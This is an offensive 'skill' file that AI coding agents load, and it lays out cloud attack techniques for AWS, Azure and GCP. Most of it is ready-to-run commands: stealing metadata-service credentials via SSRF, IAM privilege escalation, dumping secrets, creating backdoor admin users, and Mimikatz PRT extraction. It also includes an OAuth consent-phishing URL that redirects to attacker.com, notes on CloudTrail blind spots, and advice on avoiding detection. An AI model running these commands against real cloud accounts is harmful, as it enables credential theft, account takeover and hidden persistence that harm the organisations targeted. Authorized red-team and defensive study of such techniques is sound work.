<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: cloud
description: >-
  Cloud attack techniques for AWS, Azure, and GCP including SSRF to metadata service,
  IAM privilege escalation, S3/GCS bucket exploitation, Lambda/Function abuse, cross-account
  attacks, Azure AD consent grants, PRT abuse, and cloud-specific persistence. Use when
  asked about cloud attacks, cloud IAM privesc, metadata service exploitation, or
  cloud red team techniques.
domain: cybersecurity
subdomain: red-teaming
tags:
  - aws
  - azure
  - gcp
  - cloud-security
  - iam-privesc
  - ssrf
  - metadata-service
  - pacu
  - cloudfox
version: "1.1"
author: defconxt
license: AGPL-3.0
compatibility: Designed for Claude Code, GitHub Copilot, OpenAI Codex, Cursor, Gemini CLI, and any agentskills.io-compatible agent.
metadata:
  mitre-attack: ["T1078.004", "T1552.005", "T1190", "T1098", "T1537"]
  nist-csf: ["PR.AC-1", "PR.AC-4", "DE.CM-7"]
---
# Red Team — Cloud Attacks

## When to Use
Triggered when the operator asks about AWS attacks, Azure attacks, GCP attacks,
cloud IAM privilege escalation, SSRF to metadata service, S3 bucket exploitation,
Lambda abuse, cross-account attacks, Azure AD consent grants, PRT abuse, GCS bucket
exposure, Workspace OAuth abuse, or cloud-specific red team techniques.

## Quick Reference
- AWS metadata (IMDSv1): `curl http://169.254.169.254/latest/meta-data/iam/security-credentials/`
- AWS creds check: `aws sts get-caller-identity`
- AWS enum IAM: `enumerate-iam.py --access-key AKIA... --secret-key ...`
- S3 public list: `aws s3 ls s3://bucket --no-sign-request`
- AWS privesc scan: `aws_consoler`, `Pacu` framework, `cloudmapper`
- Azure enum: `az account list; az role assignment list --all`
- Azure token from managed identity IMDS: `curl "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -H "Metadata: true"`
- GCP metadata: `curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google"`
- CloudFox (AWS/Azure): `cloudfox aws all-checks -p profile`
- Pacu: `run iam__enum_permissions; run iam__privesc_scan`

## Workflow

### AWS: Initial Access and Enumeration

SSRF → IMDSv1 credential theft:
```bash
# IMDSv1 accessible without token header — single-hop SSRF is sufficient
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# → returns role name, then:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
# → AccessKeyId, SecretAccessKey, Token, Expiration
# IMDSv2 requires PUT with TTL first (protects against basic SSRF)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
```

Configure and enumerate with stolen credentials:
```bash
aws configure --profile compromised   # enter AccessKeyId, SecretKey, Token
aws sts get-caller-identity --profile compromised  # confirm identity
aws iam get-user --profile compromised
aws iam list-attached-user-policies --user-name <user>
aws iam list-user-policies --user-name <user>
aws iam simulate-principal-policy --policy-source-arn <arn> --action-names "s3:GetObject" --resource-arns "arn:aws:s3:::*"
# Full permission enumeration
enumerate-iam.py --access-key AKIA... --secret-key ... --session-token ...
```

**Anti-pattern:** Only checking attached managed policies — inline policies and group memberships grant additional permissions. Check `list-groups-for-user` and `list-group-policies`.

### AWS: IAM Privilege Escalation

Common IAM privesc paths:
```bash
# CreatePolicyVersion — attach higher-privilege policy version
aws iam create-policy-version --policy-arn <arn> --policy-document '{"Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' --set-as-default

# AttachUserPolicy — attach AdministratorAccess to self
aws iam attach-user-policy --user-name <user> --policy-arn arn:aws:iam::aws:policy/AdministratorAccess

# CreateAccessKey on existing admin user (if iam:CreateAccessKey allowed)
aws iam create-access-key --user-name <admin_user>

# PassRole + EC2 — launch EC2 with high-priv role, use SSRF/shell for metadata
aws ec2 run-instances --image-id ami-xxx --iam-instance-profile Name=AdminRole ...

# Lambda PassRole privesc — create Lambda with admin role, invoke to run AWS API calls
aws lambda create-function --function-name privesc --runtime python3.9 \
  --role arn:aws:iam::ACCOUNT:role/AdminRole --handler index.handler --zip-file fileb://evil.zip
aws lambda invoke --function-name privesc output.txt
```

Pacu (automated AWS privesc):
```bash
# Start Pacu
python3 pacu.py
# In Pacu console:
set_keys  # enter stolen credentials
run iam__enum_users_roles_policies_groups
run iam__enum_permissions
run iam__privesc_scan  # auto-identify privesc paths
```

**Anti-pattern:** Immediately creating admin keys — creates CloudTrail events. Prefer PassRole to existing resources or inline policy attachment to minimize footprint.

### AWS: Service Abuse

S3:
```bash
aws s3 ls --no-sign-request  # list public buckets
aws s3 ls s3://bucket-name --no-sign-request  # list bucket contents
aws s3 cp s3://bucket-name/secrets.txt /tmp/ --no-sign-request
# With creds: list all buckets in account
aws s3 ls --profile compromised
# S3 bucket ACL check
aws s3api get-bucket-acl --bucket bucket-name
aws s3api get-bucket-policy --bucket bucket-name
```

Lambda and Step Functions:
```bash
aws lambda list-functions --profile compromised
aws lambda get-function --function-name func-name  # may expose env vars with secrets
aws lambda invoke --function-name func-name --payload '{"cmd":"id"}' output.txt
# Environment variables often contain RDS credentials, API keys, other service credentials
aws lambda get-function-configuration --function-name func-name | jq '.Environment.Variables'
```

EC2 / SSM:
```bash
# List instances with SSM access
aws ssm describe-instance-information --profile compromised
# Execute command without SSH
aws ssm send-command --instance-ids i-xxx --document-name "AWS-RunShellScript" \
  --parameters '{"commands":["id","curl http://169.254.169.254/latest/meta-data/iam/security-credentials/"]}'
aws ssm get-command-invocation --command-id <id> --instance-id i-xxx
```

Secrets Manager / Parameter Store:
```bash
aws secretsmanager list-secrets --profile compromised
aws secretsmanager get-secret-value --secret-id /prod/db/credentials
aws ssm get-parameters-by-path --path / --recursive --with-decryption
```

**Anti-pattern:** Ignoring Parameter Store — many orgs use SSM Parameter Store instead of Secrets Manager for credentials; both should be checked.

### AWS: Cross-Account and Persistence

Cross-account role assumption:
```bash
# List trusts (from target account)
aws iam list-roles | jq '.Roles[] | select(.AssumeRolePolicyDocument.Statement[].Principal.AWS)'
# Assume cross-account role
aws sts assume-role --role-arn arn:aws:iam::TARGET_ACCOUNT:role/CrossAccountRole \
  --role-session-name pentest
# Extract credentials from response, configure new profile
```

Backdoor IAM user (persistence):
```bash
aws iam create-user --user-name backup-svc
aws iam attach-user-policy --user-name backup-svc --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
aws iam create-access-key --user-name backup-svc
```

CloudTrail blind spots:
- `sts:GetCallerIdentity` does not appear in CloudTrail logs (safe identity check)
- Read-only actions (`list*`, `get*`, `describe*`) may not trigger GuardDuty alerts
- `s3:GetObject` logs require data events enabled separately on S3

### Azure: Initial Access and Enumeration

Azure IMDS (managed identity on VM/container):
```bash
curl "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -H "Metadata: true"
# Token usable with Azure REST API or az CLI
az login --use-device-code  # or inject token:
az account get-access-token --resource https://graph.microsoft.com
```

Azure enumeration with compromised credentials:
```bash
az login -u user@tenant.onmicrosoft.com -p pass
az account list
az role assignment list --all --include-inherited
az ad user list --query "[].{UPN:userPrincipalName,Role:assignedRoles}"
az ad app list  # find app registrations with client secrets
az keyvault list  # enumerate Key Vaults
az keyvault secret list --vault-name VaultName  # requires Key Vault access policy
```

**Anti-pattern:** Only checking Azure RBAC roles — check Azure AD directory roles (`az ad user list --query "[].assignedRoles"`) and application role assignments separately; they're orthogonal permission systems.

### Azure: Privilege Escalation and Credential Theft

Illicit consent grant attack:
```
1. Register attacker-controlled Azure AD app with high-permission scopes (Mail.Read, Directory.ReadWrite.All)
2. Send phishing link: https://login.microsoftonline.com/<tenant>/oauth2/authorize?client_id=ATTACKER_APP_ID&response_type=token&scope=Mail.Read%20Directory.ReadWrite.All&redirect_uri=https://attacker.com/callback
3. Victim grants consent → access token delivered to attacker callback
4. Use token to read mail, enumerate users, or modify directory
```

PRT (Primary Refresh Token) abuse:
```bash
# PRT is tied to device registration; can mint new tokens for any Azure resource
# ROADtoken / roadrecon for PRT extraction and abuse
roadrecon auth --prt-cookie PRT_COOKIE_VALUE --prt-method browser  # Windows device
# Use Mimikatz to dump PRT on Azure AD joined Windows hosts
sekurlsa::cloudap  # requires debug privileges
```

Azure AD Credential Extraction:
```bash
# Azure AD Connect server — stores AD sync credentials
# Decrypt ADSync credentials (if admin on AAD Connect server)
# Target: C:\Program Files\Microsoft Azure AD Sync\Bin\ → decrypt using ADSyncDecryptKey
# DPAPI-protected credentials readable via Mimikatz on AAD Connect server
```

### GCP: Initial Access and Privilege Escalation

GCP metadata endpoint:
```bash
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google"
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/" -H "Metadata-Flavor: Google"
# Identity token for impersonating service accounts
curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity?audience=https://service.example.com" -H "Metadata-Flavor: Google"
```

GCP IAM enumeration:
```bash
gcloud auth activate-service-account --key-file=sa-key.json
gcloud config set project PROJECT_ID
gcloud iam service-accounts list
gcloud projects get-iam-policy PROJECT_ID --format=json
# TestIAMPermissions to avoid noise of trying actions
gcloud projects test-iam-permissions PROJECT_ID --permissions iam.serviceAccounts.actAs,compute.instances.create
```

GCP IAM privesc:
```bash
# Impersonate higher-privilege service account (iam.serviceAccounts.actAs)
gcloud config set auth/impersonate_service_account admin-sa@project.iam.gserviceaccount.com
# Create new service account key for long-term access
gcloud iam service-accounts keys create key.json --iam-account admin-sa@project.iam.gserviceaccount.com
# Add member to primitive roles
gcloud projects add-iam-policy-binding PROJECT_ID --member user:attacker@gmail.com --role roles/owner
```

GCS (Cloud Storage) buckets:
```bash
gsutil ls gs://                        # list accessible buckets
gsutil ls gs://bucket-name             # list bucket contents
gsutil cat gs://bucket-name/secrets    # read file
# Public bucket check (no creds needed)
curl https://storage.googleapis.com/bucket-name/
```

**Anti-pattern:** Only targeting compute metadata — GCP Workspace Google OAuth tokens (via identity endpoint) allow access to Gmail, Drive, and Admin SDK APIs depending on SA OAuth scopes.

## Key Chains

### SSRF → AWS IAM Credential Theft → Account Takeover
1. Identify SSRF on web app hosted on EC2 with instance role
2. Fetch `http://169.254.169.254/latest/meta-data/iam/security-credentials/` → role name
3. Fetch credentials: AccessKeyId, SecretAccessKey, SessionToken
4. `enumerate-iam.py` to map all permissions; `Pacu` to identify privesc paths
5. Create new IAM user with AdministratorAccess, generate permanent access keys
6. Backdoor persists even after SSRF is patched

### Azure Illicit Consent → Mail Exfil → Lateral Movement
1. Register attacker app in own tenant with `Mail.Read`, `User.Read.All`, `Directory.ReadWrite.All` scopes
2. Phish privileged user with OAuth consent URL → victim grants consent
3. Use access token to read all mail (`/v1.0/me/messages`), extract credentials, find AWS keys in email
4. `Directory.ReadWrite.All` allows adding backdoor users to privileged groups
5. `User.Read.All` enumerates all users for follow-on targeting

### GCP Service Account Compromise → Owner via ActAs
1. SSRF on GCP VM → steal SA token from metadata endpoint
2. `gcloud auth activate-service-account` with stolen token
3. Check `iam.serviceAccounts.actAs` permission — if present, impersonate admin SA
4. Create permanent key for admin SA: `gcloud iam service-accounts keys create`
5. `gcloud projects add-iam-policy-binding --role roles/owner` → full project control

---
v1.1 | Validated: 2026-03-13

## Verification

- [ ] All attack techniques tested within authorized scope
- [ ] Findings documented with evidence and MITRE ATT&CK mapping
- [ ] Cleanup completed — all artifacts removed
- [ ] Detection opportunities noted for blue team
